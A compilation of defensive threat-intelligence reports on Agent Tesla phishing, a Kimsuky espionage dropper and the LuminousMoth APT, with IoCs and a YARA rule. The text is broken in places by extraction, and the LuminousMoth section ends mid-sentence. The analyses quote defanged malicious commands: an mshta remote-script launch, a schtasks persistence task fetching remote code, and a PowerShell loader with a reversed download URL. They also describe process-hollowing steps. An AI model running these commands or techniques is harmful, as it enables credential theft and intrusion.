+T1057 +T1124 +T1033 +T1082 +Process Discovery +System Time Discovery +System Owner/User Discovery +System Information Discovery +Command and Control +T1095 +T1571 +Non-Application Layer Protocol +Non-Standard Port +Indicators of Compromise (IoCs): +Indicators +Indicator +type +Description +124023c0cf0524a73dabd6e5bb3f7d61d42dfd3867d699c59770846aae1231ce +SHA-256 +IntelWifi.exe +84841490ea2b637494257e9fe23922e5f827190ae3e4c32134cadb81319ebc34 +SHA-256 +CSD_AppLaunch.exe +5e645eb1a828cef61f70ecbd651dba5433e250b4724e1408702ac13d2b6ab836 +SHA-256 +AFD CSD APP.vhdx +http://secure256[.]net/ +Second Stager URL +45.147.228.195:5434 +IP:Port +Attacker +s C&C +Generic signatures and Rules: +Yara Rules: +rule win32_csdmalware +meta: +author= "Cyble Research" +date= "2021-09-14" +description= "Coverage for CSD_Application.exe & IntelWifi.exe" +csd_application_hash= "84841490ea2b637494257e9fe23922e5f827190ae3e4c32134cadb81319ebc34 +intelwifi_hash= "124023c0cf0524a73dabd6e5bb3f7d61d42dfd3867d699c59770846aae1231ce" +strings: +$header= "MZ" +$sig1 = "CreateNonStop" wide ascii +$sig2 = "LocIp" wide ascii +$sig3 = "MacType" wide ascii +$sig4 = "45.147.228.195" wide ascii +$sig5 = "qmquqsqiqcq.qmqpq3q" wide ascii +$sig6 = "secure256.net" wide ascii +$sig7 = "ver4.mp3" wide ascii +$sig8 = "x33117" wide ascii +condition: +$header at 0 and (3 of ($sig*)) +**About Us ** +Cyble is a global threat intelligence SaaS provider that helps enterprises protect themselves from cybercrimes and exposure +in the Darkweb. Its prime focus is to provide organizations with real-time visibility to their digital risk footprint. Backed by Y +Combinator as part of the 2021 winter cohort, Cyble has also been recognized by Forbes as one of the top 20 Best +Cybersecurity Startups To Watch In 2020. Headquartered in Alpharetta, Georgia, and with offices in Australia, Singapore, +and India, Cyble has a global presence. To learn more about Cyble, visit www.cyble.com. +Phishing Campaign Targeting Korean to Deliver Agent Tesla New Variant +fortinet.com/blog/threat-research/phishing-campaign-targeting-korean-to-deliver-agent-tesla-new-variant +December 10, 2021 +FortiGuard Labs Threat Research Report +Affected platforms: Microsoft Windows +Impacted parties: Windows Users +Impact: +Collects sensitive information from victims + device +Severity level: +Critical +A phishing campaign was recently caught in the wild by Fortinet +s FortiGuard Labs, that delivers a malicious Microsoft +PowerPoint file. The content of the phishing email, written in Korean, asks recipients to open the attached PowerPoint +file to review a purchase order. I researched what this malicious file does once the PowerPoint file is opened and have +been able to confirm that it is spreading a new variant of Agent Tesla. +Over the past several years, we have captured and analyzed many Agent Tesla variants. It has been quite active since +2014 when it was first observed. Agent Tesla is a .Net-based malware (developed in C#.Net, VB.Net, C++.Net, etc.) +whose core function is to collect sensitive information from a victim +s machine, including recording keystrokes and data +on the system clipboard, stealing saved software credentials (browsers, mail clients, VPN, FTP, IM, etc.), stealing +browser cookies files, and taking screenshots. +In this blog we will look at the phishing email, analyze the malicious macro contained in the attachment, show how the +malware is updated and maintains persistence, examine the Agent Tesla payload, and show the ways it exfiltrates stolen +data and credentials. +s start with how most cyberattacks begin + with a phishing email. +The Phishing Email +Figure 1.1 + Display of the phishing email +The phishing email is written in Korean and its translated content has been included on the right side of the image in +Figure 1.1. The attacker attempts to lure the recipient into opening the attached file to confirm a purchase order. +Fortinet +s FortiMail has identified this phishing email as SPAM and added a tag +[SPAM detected by FortiMail] + to the +subject to warn the recipient, as shown in Figure 1.1. +Leverage Malicious Macro in PowerPoint +As you probably guessed, the attached file is fake. There is no slide in the PowerPoint file, but a macro containing an +auto-run function method called +Auto_Open() +. This function is called once the file is opened in MS PowerPoint. +Here is the VBA code of this method: +Sub Auto_Open() +p_ = soraj.bear.GroupName +Shell p_ +End Sub +soraj + is the name of a UserForm, +bear + is the name of CheckBox control inside +soraj + form. It calls +Shell + to execute +a command read from the +GroupName + property of +bear + CheckBox control. +In this code, +soraj + is the name of a UserForm and +bear + is the name of the CheckBox control inside the +soraj + form. It +calls +Shell + to execute a command read from the +GroupName + property of the +bear + CheckBox control. +Figure 2.1 + The value of the property +GroupName + of +bear +Further, +mshta hxxp[:]//bitly[.]com/gdhamksgdsadj + is the value of the +soraj.bear.GroupName + which is shown in +Figure 2, and is the content of a binary profile file (named +) of the VBA project. +It consists of +mshta + and a URL, where +mshta +mshta.exe +) is a Windows default program that executes HTML +application files, including scripts (like VBScript). The URL opened by +mshta + is redirected to another URL, +hxxps[:]//onedayiwillloveyouforever[.]blogspot.com/p/divine111.html +, which contains a piece of code used to write an +escaped VBScript code to a current HTML document to be executed by +mshta.exe +Figure 2.2 is a screenshot of a proxy tool, allowing you to see the URL redirection and escaped VBScript code in the +response packet. +Figure 2.2 + The escaped VBScript code in the response packet +The escaped VBScript code is executed within the current HTML document using +mshat.exe +. I will refer to this kind of +VBScript as VBScript-embedded-in-HTML in this analysis. Click here to view the entire un-escaped code of the +VBScript-embedded-in-HTML. +VBScript, PowerShell scripts for multiple tasks +The developer uses a wide variety of scripts, including VBScript-embedded-in-HTML, standalone VBScript, and +PowerShell, during the process of delivering Agent Tesla to protect it from being easily analyzed. +These scripts are split into many files, and are downloaded at different times. The VBScript-embedded-in-HTML is the +entry of the scripts. In the following section I will explain what they can do according to their behaviors. +1. Upgrading + Task Scheduler: +The malware seeks to obtain a new version (if applicable) every two hours to be executed on the victim +s system. To do +this the VBScript-embedded-in-HTML performs a command-line command to add a recurring task into Task Scheduler. +The code snippet below is used to run +schtasks + command with the +/create + option to create a new scheduled task, as +shown in Figure 3.1. +args = "/create /sc MINUTE /mo 120 /tn """"update-Yendex """" /F /tr +""""\""""MsHtA""""\""""hxxps://madarbloghogya.blogspot.com/p/divineback222.html"""" +Set Somosa = GetObject("new:13709620-C279-11CE-A49E-444553540000") +'schtasks +'open +Somosa Shellexecute StrReverse("sksathcs"), args, "", StrReverse("nepo"), 0 +Figure 3.1 + Added scheduled task in Task Scheduler +It executes a VBScript code within a remote HTML file, then downloads the Agent Tesla payload to run on the victim +system. It also detects and kills any other Agent Tesla process instances already running. This allows it to perform its +upgrading function. +2. Persistence + StartMenu Startup: +A standalone VBS file, +%Public%\hulalalMCROSOFT.vbs +, extracted from VBScript-embedded-in-HTML downloads +another base64-encoded VBS file from +hxxps[:]//bitbucket[.]org/!api/2.0/snippets/hogya/5X7My8/b271c1b3c7a78e7b68fa388ed463c7cc1dc32ddb/files/divine12 + into a local file. Going through the base64-decoded code, it saves the VBS code to a file called +UYA-update.vbs +located under %Public% folder. +This standalone VBS file downloads the Agent Tesla payload and deploys it on the victim +s system. As a result, whenever +the VBS file is executed it starts Agent Tesla. +To keep Agent Tesla alive on the victim +s system, it copies the downloaded standalone VBS file +UYA-update.vbs + into +the StartMenu +s Startup folder and renames it as +GTQ.vbs +. This allows it to start automatically when the system starts. +Figure 3.2 displays the Startup folder with the copied +GTQ.vbs +Figure 3.2 + Standalone VBS file copied in StartMenu Startup folder +3. Perform process-hollowing: +UYA-update.vbs + continues to craft a piece of PowerShell code within a base64-decoded PE file from a local variable. It +is ultimately executed by +PowerShell.exe +. The decoded PE file is a .Net program that contains a function named +Run() + belonging to class +ClassLibrary3.Class1 +. Below is a piece of PowerShell code used to call this function. +[System.AppDomain]::CurrentDomain.Load($fuUN).GetType('ClassLibrary3.Class1').GetMethod('Run').Invoke($null, +[object[]] ('11enivid/selif/c4ab4d371cd40ce3303b4d33c868122f671fd37c/do8qxn/aygoh/steppins/0.2/ipa!/gro.tekcubtib//:sptth')) +The +$fuUN + variable contains the base64-decoded .Net PE file, from which it calls GetType() and GetMethod() to obtain +the function +ClassLibrary3.Class1.Run() +. Next, it calls the +Run() + function through Invoke() and passes a parameter +with a reversed URL. The URL is +hxxps[:]//bitbucket[.]org/!api/2.0/snippets/hogya/nxq8od/c73df176f221868c33d4b3033ec04dc173d4ba4c/files/divine11 +. Figure 3.3 is the entire code of function +ClassLibrary3.Class1.Run() +Figure 3.3 + Function of +ClassLibrary3.Class1.Run() +After successfully calling "ClassLibrary3.Class1.Run()" of the decoded PE, it downloads two files from the hyperlinks: +'hxxp[:]//149.56.200.165/rump/1.txt', which is for another .Net module to perform process-hollowing, and +'hxxps[:]//bitbucket[.]org/!api/2.0/snippets/hogya/nxq8od/c73df176f221868c33d4b3033ec04dc173d4ba4c/files/divine11', which is passed from PowerShell and is where it downloads the Agent Tesla payload from. +The Agent Tesla payload is fileless on the victim +s system. It is only kept in the memory of the PowerShell process. The +downloaded .Net module has a function named +ClassLibrary1.Class1.Run() + that perform the process-hollowing. It +passes the Agent Tesla payload in memory and adds a path of the target process +RegAsm.exe +RegAsm.exe + is an official component of Microsoft .Net Framework. The attacker uses it as a target process in which to +inject malware to protect itself from being detected. +A number of Windows API functions are called in the .Net module to deploy the Agent Tesla payload into the target +process. These are: +CreateProcess() with CREATE_SUSPENDED flag: This creates a suspended RegAsm.exe process. +VirtualAllocEx(), NtUnmapViewOfSection(), ReadProcessMemory(), WriteProcessMemory(): These move the +Agent Tesla payload to a newly-allocated memory within the suspended RegAsm.exe process. +SetThreadContext()/Wow64SetThreadContext(), GetThreadContext()/Wow64GetThreadContext(): These modify +the RegAsm.exe +s registry value and points its EIP register to the entry point of the copied Agent Tesla payload. +ResumeThread(): This resumes the execution of the RegAsm.exe process from where the EIP points to. +Once completed, the Agent Tesla runs on behalf of RegAsm.exe to steal the victim +s information. +Agent Tesla Payload +Agent Tesla provides many features, like Keylogger, obtaining Clipboard data, stealing browser cookies and saved +software credentials, as well as capturing screenshots of the victim +s device. +Agent Tesla publishes a Setup program that allows the attacker to choose which features to enable. The Tesla Agent +Setup program then compiles the Agent Tesla payload file according to those choices. +Agent Tesla starts these tasks in its Main() (stealing credentials), Timer (keylogger, stealing clipboard data, taking +screenshots), and Thread (stealing cookies from browsers) functions. +In this variant of Agent Tesla, the attacker has only enabled stealing credentials and cookies. The count of the software +clients from which it steals credentials is more than 70, and can be categorized as Web Browsers, Email Clients, IM +Clients, VPN/FTP/Downloader/Database Clients, and Windows Credentials. +The list of the affected software clients is listed as below: +Chromium-based Web Browsers: +Epic Privacy, Uran, Chedot, Comodo Dragon, Chromium, Orbitum, Cool Novo, Sputnik, Coowon, Brave, Liebao Browser, +Elements Browser, Sleipnir 6, Vivaldi, 360 Browser, Torch Browser, Yandex Browser, QIP Surf, Amigo, Kometa, Citrio, +Opera Browser, CentBrowser, 7Star, Coccoc, and Iridium Browser. +Web Browsers: +Chrome, Microsoft Edge, Firefox, Safari, IceCat, Waterfox, Tencent QQBrowser, Flock Browser, SeaMonkey, IceDragon, +Falkon, UCBrowser, Cyberfox, K-Meleon, PaleMoon. +VPN clients: +OpenVPN, NordVPN, RealVNC, TightVNC, UltraVNC, Private Internet Access VPN. +FTP clients: +FileZilla, Cftp, WS_FTP, FTP Navigator, FlashFXP, SmartFTP, WinSCP 2, CoreFTP, FTPGetter. +Email clients: +Outlook, Postbox, Thunderbird, Mailbird, eM Client, Claws-mail, Opera Mail, Foxmail, Qualcomm Eudora, IncrediMail, +Pocomail, Becky! Internet Mail, The Bat!. +Downloader/IM clients: +DownloadManager, jDownloader, Psi+, Trillian. +Others: +MySQL and Microsoft Credentials. +Figure 4.1 displays the method used for stealing credentials from several clients. +Figure 4.1 + Method used to steal credentials from some software clients +Figure 4.2 + Display of stolen credentials from IceCat browser +Figure 4.2 shows the credentials just stolen from a web browser, +IceCat +, where +Browser + is the software client name, +Password + is the saved password, + is the login page, and +UserName + is the saved login user name. +Each credentials of the stolen credentials has an above structure and saved in a global list variable, which later is +formatted and sent to the attacker. +Sending the Stolen Data to the Attacker +There are four ways to transport the stolen data to the attacker. These are FTP Data (uploading stolen data in a file to a +FTP server provided by the attacker), HTTP Post (sending data as the body of the post to a URL provided by the +attacker), SMTP (sending stolen data to the attacker +s email address), and Telegram (using the Telegram bot API +sendDocument() + to send files to a specified chat or channel). +The attacker chose HTTP Post for this variant. Once Agent Tesla needs to send data to the attacker, it encrypts the stolen +data using a DES algorithm and encodes the result using a base64 algorithm, which is the final data to be sent as the +body in the HTTP Post request. The submission URL is "hxxp[:]//69[.]174.99[.]181/webpaneldivine/mawa/7dd66d9f8e1cf61ae198.php", which is a hardcoded string in Agent Tesla. +Figure 5.1 demonstrates Agent Tesla sending stolen data as a value of + in the body of HTTP POST. +Figure 5.1 + Stolen data being sent in the body of HTTP Post +Each item of stolen data before encryption is kept in the structure +header +data +The +header + contains the basic information of the victim +s system: +Packet number +Separator +Victim ID +Separator +Date and Time +Separator string +UserName/ComputerName +Separator +The +data + contains the stolen information, like credentials and cookies. +Figure 5.2 + Example of a packet structure with packet number +Figure 5.2 shows an example of data with packet number +, which contains the basic information ( +header + part) and +the Stolen Data ( +data + part) that is base64-encoded cookies. +0de264895c1ed90486c73c6eb110af6c2222264a0854b0047b9ead88b718f7d0" is the Separator string that is hardcoded +in Agent Tesla. The Victim ID is a MD5 hash value generated from the system +s hardware information. +Agent Tesla provides seven kinds of packets to send data/status to the attacker. Each packet has a packet number to +identify the packet. They are + and +Packet +: It is always the first packet to tell the attacker that Agent Tesla has started. It only contains the +header +data. +Packet +: It is sent once every 120 seconds. It is like a heartbeat to tell the attacker that Agent Tesla is alive. It +only contains the +header + data. +Packet +: It is sent every 60 seconds and only contains the +header + data. Agent Tesla reads the response and +checks if it contains +uninstall +. If yes, it uninstalls Agent Tesla from the victim +s system, including deleting all files +made by Agent Tesla and removing keys from registry that Agent Tesla created, and exits the process. +Packet +: It sends the victim +s keystrokes (keylogger data) and stolen clipboard data within the +data + part of the +post. +Packet +: It sends captured screenshots of the victim +s screen within the +data + part of the post. +Packet +: It sends the credentials stolen from the software clients within the +data + part of the post. +Packet +: It sends cookies files in a ZIP archive that are collected from browsers and included within the +data +part of the post. +Conclusion +In this analysis, I have shown how this phishing campaign began by targeting Korean users. +I then explained how the macro in the PowerPoint is used to execute a piece of VBScript-embedded-in-HTML code. It +also leverages a complicated standalone VBS and PowerShell script code to perform multiple tasks, like upgrading, +maintaining persistence, and process-hollowing. +I then elaborated on what kind of software clients the Agent Tesla targets and what kind of data it is able to collect from +them, as well as how the stolen data is sent to the attacker via the HTTP Post method. +Fortinet Protections +Fortinet customers are already protected from this malware by FortiGuard +s Web Filtering, AntiVirus, FortiEDR, and +CDR (content disarm and reconstruction) services, as follows: +The malicious Macro inside the PowerPoint sample can be disarmed by the FortiGuard CDR (content disarm and +reconstruction) service. +All relevant URLs have been rated as "Malicious Websites" by the FortiGuard Web Filtering service. +The PowerPoint sample attached to the phishing email and the standalone VBS file are detected as +"VBA/Agent.BLY!tr" and "VBS/AgentTesla.VTO!tr.dldr" and are blocked by the FortiGuard AntiVirus service. +FortiEDR detects the downloaded executable file as malicious based on its behavior. +FortiMail protects Fortinet customers by blocking phishing emails and applying FortiGuard +s Web Filtering, AntiVirus, +and CDR (content disarm and reconstruction) technologies. +In addition to these protections, we suggest that organizations have their end users also go through the FREE NSE +training: NSE 1 + Information Security Awareness. It includes a module on Internet threats that is designed to help end +users learn how to identify and protect themselves from phishing attacks. +IOCs +URLs Involved in the Campaign: +"hxxps[:]//onedayiwillloveyouforever[.]blogspot[.]com/p/divine111.html" +"hxxps[:]//madarbloghogya[.]blogspot[.]com/p/divineback222.html" +"hxxps[:]//bitbucket[.]org/!api/2.0/snippets/hogya/5X7My8/b271c1b3c7a78e7b68fa388ed463c7cc1dc32ddb/files/divine12" +"hxxp[:]//149[.]56.200[.]165/rump/1.txt" +"hxxps[:]//bitbucket[.]org/!api/2.0/snippets/hogya/nxq8od/c73df176f221868c33d4b3033ec04dc173d4ba4c/files/divine11" +"hxxp[:]//69[.]174.99[.]181/webpanel-divine/mawa/7dd66d9f8e1cf61ae198.php" +Sample SHA-256 Involved in the Campaign: + .ppa / new purchase order.ppa] +AA121762EB34D32C7D831D7ABCEC34F5A4241AF9E669E5CC43A49A071BD6E894 +[UYA-update.vbs / GTQ.vbs] +0BBF16E320FB942E4EA09BB9E953076A4620F59E5FFAEFC3A2FFE8B8C2B3389C +Learn more about FortiGuard Labs global threat intelligence and research and the FortiGuard Security Subscriptions +and Services portfolio. +Kimsuky Espionage Campaign +inquest.net/blog/2021/08/23/kimsuky-espionage-campaign +A few days ago, we found an exciting Javascript file masquerading as a PDF that, upon activation, will drop and display a PDF (to maintain the ruse) as well as drop +an executable. The document is a lure for the Korean Foreign Ministry document and its newsletter. The same attack was reported earlier by Malwarebytes in June. +Apparently, the threat actor behind this campaign is still using this infrastructure and infection technique. +File Type +Javascript +Sha 256 +20eff877aeff0afaa8a5d29fe272bdd61e49779b9e308c4a202ad868a901a5cd +Size +27.31 MB (28634023 bytes) +Image 1: Document images when opened +Image 2: Virustotal +The document shows shallow detection on the VT service. At the beginning of the check, the detection showed 3/58. +We found this very interesting, so we decided to delve deeper into the study of its technical composition. +Image 3: +Opening the document in a Hex editor, we see that it is filled with data that is encoded in Base64. In order to continue our study, it is necessary to extract this data to +see what it contains. Also, in the tail of the file we find the executable code, which will run when opened. +Image 4: Embedded PowerShell code +To ease research efforts, we present the previously mentioned executable code in a more human-readable format. +Image 5: PowerShell Script +In Image 5, you can see that the program will launch Adobe Reader, decode the Base64 payload, and run it in stealth mode. But to understand what it launches, we +need to extract the payload from the script. +As a reminder, the file size is 27.31 MB, which is quite large, not a small effort for manual data retrieval. Therefore, the easiest way is to write a simple Python script to +find Base64 encoded blocks and decode them. +Image 6: Base64 encoded data blocks +Image 7: Base64 data +import sys, base64 +def openfile (s): +sys.stderr.write(s + "\n") +sys.stderr.write("Usage: %s\n" % sys.argv[0]) +sys.exit(1) +def base64Dec(dump,result): +result = base64.b64decode(dump) +return(result) +if __name__ == '__main__': +if len(sys.argv) != 3: +openfile("invalid argument count") +outfile = sys.argv.pop() +infile = sys.argv.pop() +file = open(infile,"rb") +dump = bytearray(file.read()) +result = bytearray(len(dump)) +opendata = base64Dec(dump,result) +new = open(outfile,"wb") +new.write(opendata) +new.close() +file.close() +We can extract the data and decode it with a small Python script; as a result, we were able to retrieve two files from the encoded string. +Sha 256 +3251c02ff0fc90dccd79b94fb2064fb3d7f870c69192ac1f10ad136a43c1ccea +File Type +Size +20.23 MB (21214792 bytes) +File 1 +If we take a close look at the first file (3251c02ff0fc90dccd79b94fb2064fb3d7f870c69192ac1f10ad136a43c1ccea) , it is clear that it is legitimate and does not +represent any malware load. It was uploaded to VirusTotal on May 27 of this year. Obviously, it is used here as a lure to hide malicious actions at runtime. +The second file we received is also data encoded behind two layers of Base64. +Image 8: The second data block is Base64 encoded twice +Sha 256 +0a4f2cff4d4613c08b39c9f18253af0fd356697368eecddf7c0fa560386377e6 +File Type +DLL x64 +Size +190.00 KB (194560 bytes) +File 2 +Executable library packed with UPX. But unpacking this sample is not very difficult. And so we got the payload. +Sha 256 +ae50cf4339ff2f2b3a50cf8e8027b818b18a0582e143e842bf41fdb00e0bfba5 +File Type +DLL x64 +Size +474.50 KB (485888 bytes) +File 2 unpacked +The executable is a Kimsuky espionage tool. +Image 8: Extensions for document search +The malicious document looks for documents(.hwp, .pdf, .doc, .xls, .ppt, .txt) in all directories, including USB drives, with the aim of stealing them. +\REGISTRY\USER\1077083310-4456979867-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce +\REGISTRY\USER\1077083310-4456979867-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce +\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\ESTsoftAutoUpdate = +"regsvr32.exe /s \"C:\\ProgramData\\Software\\ESTsoft\\Common\\ESTCommon.dll\"" +The program creates the following registry keys. Thus, after each start of the system, the library will be restarted. +Image 9: Keylogger Artifacts +We see the unique strings that the keylogger uses to record the data entered by the user. We find a lot of encrypted strings in the executable file. +Image 10: Encrypted strings +We managed to decipher all these lines. Here are some of the most interesting ones. +'Win%d.%d.%dx64' +'temp' +'.bat' +'\r\n +:repeat\r\n +del "%s"\r\n +if exist "%s" goto repeat\r\n +del "%%~f0"' +'%d-%02d-%02d_%02d-%02d-%02d-%03d' +'kernel32.dll' +'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System' +'ConsentPromptBehaviorAdmin' +'PromptOnSecureDesktop' +'SeDebugPrivilege' +'\r1' +'regsvr32.exe' +'.zip' +'.enc' +'.tmp' +'list.fdb' +'KeyboardMonitor' +'ScreenMonitor' +'FolderMonitor' +'UsbMonitor' +'0602000000A4000052534131000400000100010005DA37C671C00B2A04759D5A143C015F4D0B38F0F83D6E4E19B309D570ADB6EEA7CACB5A59A489B9E4B8D80 +1B76A0C361E7D7798E6248722DC0349400857F68C5B21474138F0D3EE0929AB1EBEA9EBB057E88D0CACB41D4A6029F459AD7B8A8D180B77DC4596745B9CF7 +7DAD7B50F44B43DA8F1326E64C53DAA51807A02751E2' +'0702000000A400005253413200040000010001006D4582142BA47753E19FF39DBF232B7BAEE5141CC59AB328CA25EC21BEF955FE091F90B8FF3C3D8CD00973E3 +'%PDF-1.7..4 0 obj' +'User32.dll' +'SetProcessDPIAware' +'2.0' +b'%s/?m=a&p1=%s&p2=%s-%s-v%s.%d' +'cache' +'list.ldb' +'GetProcAddress' +'Downloads' +'Documents' +'AppData\\Local\\Microsoft\\Windows\\INetCache\\IE' +'flags' +'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36' +"Powershell.exe start-process regsvr32.exe -argumentlist \' +AppData\\Local\\Microsoft\\Windows +LoadLibraryA +LoadLibraryW +CreateProcessW +GetTempFileNameW +'GetTempPathW' +'CopyFileW' +'MoveFileExW' +'CreateFileW' +'DeleteFileW' +'Process32FirstW' +'Process32NextW' +'CreateMutexW' +'GetModuleHandleW' +'GetStartupInfoW' +'OpenMutexW' +'FindFirstFileW' +'FindNextFileW' +'GetWindowsDirectoryW' +'GetVolumeInformationW' +'GetModuleFileNameA' +'CreateProcessA' +'GetTempFileNameA' +'GetTempPathA' +'CopyFileA' +'URLDownloadToFileA' +'URLDownloadToFileW' +'urlmon.dll' +'InternetWriteFile' +'InternetCloseHandle' +'InternetReadFile' +'InternetSetOptionExA' +'HttpSendRequestA' +'AdjustTokenPrivileges' +'texts.letterpaper.press' +'Software\\ESTsoft\\Common' +'S_Regsvr32' +'SpyRegsvr32-20210505162735' +"powershell.exe start-process regsvr32.exe -argumentlist \'/s %s\' -verb runas" +'ESTCommon.dll' +'Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce' +'ESTsoftAutoUpdate' +Debug lines: +minkernel\\crts\\ucrt\\inc\\corecrt_internal_strtox.h +IoCs +hxxp://texts.letterpaper[.]press +Javascript files +20eff877aeff0afaa8a5d29fe272bdd61e49779b9e308c4a202ad868a901a5cd +e5bd835a7f26ca450770fd61effe22a88f05f12bd61238481b42b6b8d2e8cc3b +a30afeea0bb774b975c0f80273200272e0bc34e3d93caed70dc7356fc156ffc3 +0a4f2cff4d4613c08b39c9f18253af0fd356697368eecddf7c0fa560386377e6 +fa4d05e42778581d931f07bb213389f8e885f3c779b9b465ce177dd8750065e2 +Unpacked library. Kimsuky Spy. +0A4f2cff4d4613c08b39c9f18253af0fd356697368eecddf7c0fa560386377e6 +fa4d05e42778581d931f07bb213389f8e885f3c779b9b465ce177dd8750065e2 +Unpacked library. Kimsuky Spy. +ae50cf4339ff2f2b3a50cf8e8027b818b18a0582e143e842bf41fdb00e0bfba5 +Tags +malware-analysis threat-hunting +LuminousMoth APT: Sweeping attacks for the chosen few +securelist.com/apt-luminousmoth/103332 +APT actors are known for the frequently targeted nature of their attacks. Typically, they will handpick a set of +targets that in turn are handled with almost surgical precision, with infection vectors, malicious implants and +payloads being tailored to the victims + identities or environment. It +s not often we observe a large-scale attack +conducted by actors fitting this profile, usually due to such attacks being noisy, and thus putting the underlying +operation at risk of being compromised by security products or researchers. +We recently came across unusual APT activity that exhibits the latter trait + it was detected in high volumes, +albeit most likely aimed at a few targets of interest. This large-scale and highly active campaign was observed in +South East Asia and dates back to at least October 2020, with the most recent attacks seen around the time of +writing. Most of the early sightings were in Myanmar, but it now appears the attackers are much more active in +the Philippines, where there are more than 10 times as many known targets. +Further analysis revealed that the underlying actor, which we dubbed LuminousMoth, shows an affinity to the +HoneyMyte group, otherwise known as Mustang Panda. This is evident in both network infrastructure +connections, and the usage of similar TTPs to deploy the Cobalt Strike Beacon as a payload. In fact, our +colleagues at ESET and Avast recently assessed that HoneyMyte was active in the same region. The proximity +in time and common occurrence in Myanmar of both campaigns could suggest that various TTPs of HoneyMyte +may have been borrowed for the activity of LuminousMoth. +1/14 +Most notably though, we observed the capability of the culprit to spread to other hosts through the use of USB +drives. In some cases, this was followed by deployment of a signed, but fake version of the popular application +Zoom, which was in fact malware enabling the attackers to exfiltrate files from the compromised systems. The +sheer volume of the attacks raises the question of whether this is caused by a rapid replication through +removable devices or by an unknown infection vector, such as a watering hole or a supply chain attack. +In this publication we aim to profile LuminousMoth as a separate entity, outlining the infection chain and unique +toolset it leverages, the scale and targeting in its campaigns as well as its connections to HoneyMyte through +common TTPs and shared resources. +What were the origins of the infections? +We identified two infection vectors used by LuminousMoth: the first one provides the attackers with initial access +to a system. It consists of sending a spear-phishing email to the victim containing a Dropbox download link. The +link leads to a RAR archive that masquerades as a Word document by setting the +file_subpath + parameter to +point to a filename with a .DOCX extension. +hxxps://www.dropbox[.]com/s/esh1ywo9irbexvd/COVID-19%20Case%2012-11- +2020.rar?dl=0&file_subpath=%2FCOVID-19+Case+12-11-2020%2FCOVID-19+Case+12-11-2020(2).docx +The archive contains two malicious DLL libraries as well as two legitimate executables that sideload the DLL +files. We found multiple archives like this with file names of government entities in Myanmar, for example +COVID-19 Case 12-11-2020(MOTC).rar + or +DACU Projects.r01 + (MOTC is Myanmar +s Ministry of Transport +and Communications, and DACU refers to the Development Assistance Coordination Unit of the Foreign +Economic Relations Department (FERD) in Myanmar). +2/14 +Infection chain +The second infection vector comes into play after the first one has successfully finished, whereby the malware +tries to spread by infecting removable USB drives. This is made possible through the use of two components: +the first is a malicious library called +version.dll + that gets sideloaded by +igfxem.exe +, a Microsoft Silverlight +executable originally named +sllauncher.exe +. The second is +wwlib.dll +, another malicious library sideloaded by +the legitimate binary of +winword.exe +. The purpose of +version.dll + is to spread to removable devices, while the +purpose of +wwlib.dll + is to download a Cobalt Strike beacon. +The first malicious library +version.dll + has three execution branches, chosen depending on the provided +arguments, which are: +assist +system + or no argument. If the provided argument is +assist +, the malware +creates an event called +nfvlqfnlqwnlf + to avoid multiple executions and runs +winword.exe + in order to sideload +the next stage ( +wwlib.dll +). Afterwards, it modifies the registry by adding an +Opera Browser Assistant + entry as +a run key, thus achieving persistence and executing the malware with the +assist + parameter upon system +startup. +3/14 +Registry value to run the malware at system startup +Then, the malware checks if there are any removable drives connected to the infected system. If any are found, +it enumerates the files stored on the drive and saves the list to a file called +udisk.log +. Lastly, the malware is +executed once again with the +system + parameter. +If the provided argument is +system +, a different event named +qjlfqwle21ljl + is created. The purpose of this +execution branch is to deploy the malware on all connected removable devices, such as USB sticks or external +drives. If a drive is found, the malware creates hidden directories carrying non ascii characters on the drive and +moves all the victim +s files there, in addition to the two malicious libraries and legitimate executables. The +malware then renames the file +igfxem.exe + to +USB Driver.exe + and places it at the root of the drive along with +version.dll +. As a result, the victims are no longer able to view their own drive files and are left with only +Driver.exe +, meaning they will likely execute the malware to regain access to the hidden files. +Copying the payload and creating a hidden directory on the removable drive +If no argument is provided, the malware executes the third execution branch. This branch is only launched in the +context of a compromised removable drive by double-clicking +USB Driver.exe +. The malware first copies the +four LuminousMoth samples stored from the hidden drive repository to +C:\Users\Public\Documents\Shared +Virtual Machines\ +. Secondly, the malware executes +igfxem.exe + with the +assist + argument. Finally, +explorer.exe + gets executed to display the hidden files that were located on the drive before the compromise, +and the user is able to view them. +The second library, +wwlib.dll +, is a loader. It gets sideloaded by +winword.exe + and emerged two months prior to +version.dll +, suggesting that earlier instances of the attack did not rely on replication through removable drives +but were probably distributed using other methods such as the spear-phishing emails we observed. +4/14 +Wwlib.dll + fetches a payload by sending a GET request to the C2 address at +103.15.28[.]195 +. The payload is +a Cobalt Strike beacon that uses the Gmail malleable profile to blend with benign traffic. +Downloading a Cobalt Strike beacon from 103.15.28[.]195 +Older spreading mechanism +We discovered an older version of the LuminousMoth infection chain that was used briefly before the +introduction of +version.dll +. Instead of the usual combination of +version.dll + and +wwlib.dll +, a different library +called +wwlib.dll + is in fact the first loader in this variant and is in charge of spreading to removable drives, while +a second +DkAr.dll + library is in charge of downloading a Cobalt Strike beacon from the C2 server. This variant +wwlib.dll + offers two execution branches: one triggered by the argument +Assistant + and a second one with no +arguments given. When this library is sideloaded by +winword.exe +, it creates an event called +fjsakljflwqlqewq +adds a registry value for persistence, and runs +PrvDisk.exe + that then sideloads +DkAr.dll +The final step taken by +wwlib.dll + is to copy itself to any removable USB device. To do so, the malware checks if +there are any files carrying a .DOC or .DOCX extension stored on the connected devices. If such a document is +found, the malware replaces it with the +winword.exe + binary, keeping the document +s file name but appending +.exe + to the end. The original document is then moved to a hidden directory. The +wwlib.dll + library is copied to +the same directory containing the fake document and the four samples (two legitimate PE files, two DLL +libraries) are copied to +[USB_Drive letter]:\System Volume Information\en-AU\Qantas +If the malware gets executed without the +Assistant + argument, this means the execution was started from a +compromised USB drive by double-clicking on the executable. In this case, the malware first executes +explorer.exe + to show the hidden directory with the original documents of the victim, and proceeds to copy the +four LuminousMoth samples to +C:\Users\Public\Documents\Shared Virtual Machines\ +. Finally, it executes +winword.exe + with the +Assistant + argument to infect the new host, to which the USB drive was connected. +Since this variant relies on replacing Word documents with an executable, it is possible that the attackers chose +the +winword.exe + binary for sideloading the 